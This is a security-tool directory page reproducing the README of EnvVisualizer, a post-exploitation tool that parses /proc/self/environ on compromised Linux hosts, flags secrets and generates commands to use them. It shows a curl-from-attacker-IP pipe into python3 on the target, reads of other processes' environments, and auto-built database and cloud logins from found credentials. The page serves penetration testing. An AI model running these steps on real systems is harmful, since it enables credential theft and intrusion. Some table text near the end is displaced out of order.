Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EnvVisualizer — Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands | Kitploit
Tools/GitHubGitHub/w4r10ck423/envvisualizer
Defensive ToolsVulnerability AnalysisConfiguration AuditingInformation GatheringPost-ExploitationCTFPenetration TestingCloud SecuritySecret DetectionRed Teaming
GitHubw4r10ck423/envvisualizer
444 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

EnvVisualizer

Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands

View Repository
Share

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Parse, categorize, and visualize /proc/self/environ on compromised Linux machines.
Turn a wall of fused environment variable text into structured, color-coded intel — in seconds.


Python Platform License Context

Author

Author: @W4r10ck423


The Problem

When you land on a box and read /proc/self/environ, you get this:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer turns that into this:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

With rich installed, each category gets its own color-coded table.


Features

  • Three input modes — read the file directly (perfect accuracy), pipe via stdin, or paste a raw string
  • Smart two-class parser — correctly handles concatenated strings where null bytes were stripped by copy-paste; detects uppercase POSIX vars and known lowercase prefixed vars (npm_*, node_*, pip_*, etc.)
  • Six semantic categories — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System, and Other
  • PATH expansion — each directory listed as a bullet point instead of a colon-separated wall
  • Secret detection — flags variables whose names or values match credential patterns (TOKEN, KEY, SECRET, PASSWORD, etc.) with a ⚠ warning
  • Pentest Insights panel — auto-surfaces actionable findings: root context, sudo escalation, exposed Node.js debugger ports, active lifecycle scripts
  • Rich or plain — color-coded tables with rich installed; clean plain-text output as a fallback (zero dependencies required)

Installation

Option 1 — Clone and run (recommended for pentest environments)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Option 2 — Install as a system command

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Option 3 — Single-file drop (no git required)

Copy envvisualizer.py to the target or attacker machine. It runs with zero dependencies:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Requirements

DependencyVersionRequired
Python≥ 3.8Yes
rich≥ 13.0No (plain-text fallback)

Usage

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Input modes

MethodCommandAccuracy
Direct file readpython3 envvisualizer.py -f /proc/self/environ✅ Perfect (null-byte split)
Stdin pipecat /proc/self/environ | python3 envvisualizer.py✅ Perfect (null-byte split)
Pasted stringpython3 envvisualizer.py -r 'USER=dev...'✅ Good (two-class heuristic)
No args (demo)python3 envvisualizer.py✅ Perfect (own process)

Tip: Prefer -f whenever you have file access.
The null-byte delimiter in the real file is exact — no heuristics needed.


Examples

Read directly from proc (best accuracy)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Pipe via stdin

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

Paste a raw string (copy-pasted from a web shell / RCE output)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Plain-text output (no rich dependency)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

Output Categories

Variables are grouped into 12 categories, evaluated in priority order (first match wins).

CategoryTypical Variables
🔐 Security / AuthSSH_*, SUDO_*, anything matching TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT
👤 IdentityUSER, LOGNAME, HOME, SHELL, UID, GID
🗄 DatabasePG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_*
☁ Cloud / InfrastructureAWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_*
🔄 CI/CD & VCSGITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_*
🔌 Third-party APIsSTRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_*
🕸 Web FrameworksDJANGO_*, FLASK_*, RAILS_*, SPRING_*, , , , , , ,

Pentest Insights

The Pentest Insights panel fires targeted, stack-aware detections with four severity levels.
Ready-to-run commands are generated on the fly from the actual values found in the environment.

SeverityPrefixMeaning
💀 CRITICAL[!!!]Live credential, secret key, or master key — immediate impact
⚠ HIGH[!! ]Token, debug mode, or exposed service — actionable attack path
→ MEDIUM[! ]Interesting info that may assist escalation
▶ INFO[ * ]General context about the process and environment

Detections by tech stack

StackWhat's detected
PostgreSQLPGPASSWORD → auto-builds psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → auto-builds mysql command
MongoDBMONGO_INITDB_ROOT_* → auto-builds mongosh command
RedisREDIS_PASSWORD → auto-builds redis-cli -a command
DB URLsDATABASE_URL, MONGODB_URI, etc. → flags embedded credentials
AWSKey pair → flags as long-term or STS temporary, suggests aws sts get-caller-identity
GCPGOOGLE_APPLICATION_CREDENTIALS → suggests gcloud auth activate-service-account
AzureAZURE_CLIENT_SECRET → flags tenant ID + suggests az login --service-principal
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → suggests vault token lookup
KubernetesInjected KUBERNETES_SERVICE_HOST → flags pod context, suggests SA token read
DockerDOCKER_HOST set → flags daemon exposure
GitHub / GitLabTokens → suggests API validation curl commands
HerokuHEROKU_API_KEY → flags with app name
StripeLive sk_live_* → CRITICAL; test sk_test_* → MEDIUM
DatadogDD_API_KEY → flags metrics/logs/traces access

Example output (multi-stack scenario)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

How the String Parser Works

When /proc/self/environ is copy-pasted (e.g., from a web shell or curl output), null bytes are stripped, fusing adjacent variables:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

A naive WORD= split would produce devnpm_config_user_agent as the key.

EnvVisualizer uses a two-class boundary detector that only splits on:

  1. Uppercase-dominant keys — USER, HOME, JOURNAL_STREAM, etc.
  2. Known lowercase prefixes — npm_*, node_*, pip_*, java_*, python_*, ruby_*, etc.

Because the regex finds npm_config_user_agent within the fused token, the previous value is automatically trimmed to dev. No lookbehind, no word-boundary assumptions — just the key pattern itself as the anchor.


License

MIT — use freely, attribution appreciated.

Download Tool
ASPNETCORE_*
APP_KEY/ENV/DEBUG
SECRET_KEY_BASE
MIX_ENV
NEXT_*
VITE_*
REACT_APP_*
🐍 App RuntimesPYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_*
📦 NPM / Nodenpm_*, NODE, NODE_ENV, NODE_OPTIONS
📂 Paths & DirsPATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD
🌐 Network / Proxy*_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR
⚙ SystemLANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_*
OtherEverything else, sorted alphabetically
Slack
SLACK_BOT_TOKEN / SLACK_APP_TOKEN → flags workspace access
OpenAIOPENAI_API_KEY → flags billing exposure
DjangoDJANGO_DEBUG=True → flags stack trace exposure
FlaskFLASK_DEBUG=1 → flags Werkzeug interactive debugger (PIN bypass / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → flags cookie forgery path
RailsRAILS_MASTER_KEY → CRITICAL (decrypts credentials.yml.enc); SECRET_KEY_BASE → session cookie forgery
JVMJAVA_TOOL_OPTIONS with jdwp → flags remote debug port, suggests jdb -attach
TomcatCATALINA_HOME → flags path to tomcat-users.xml
Node.js--inspect / --inspect-brk → flags debugger, suggests chrome://inspect
KerberosKRB5CCNAME → flags ticket cache, suggests klist / Impacket
SudoSUDO_USER → shows original UID/GID before escalation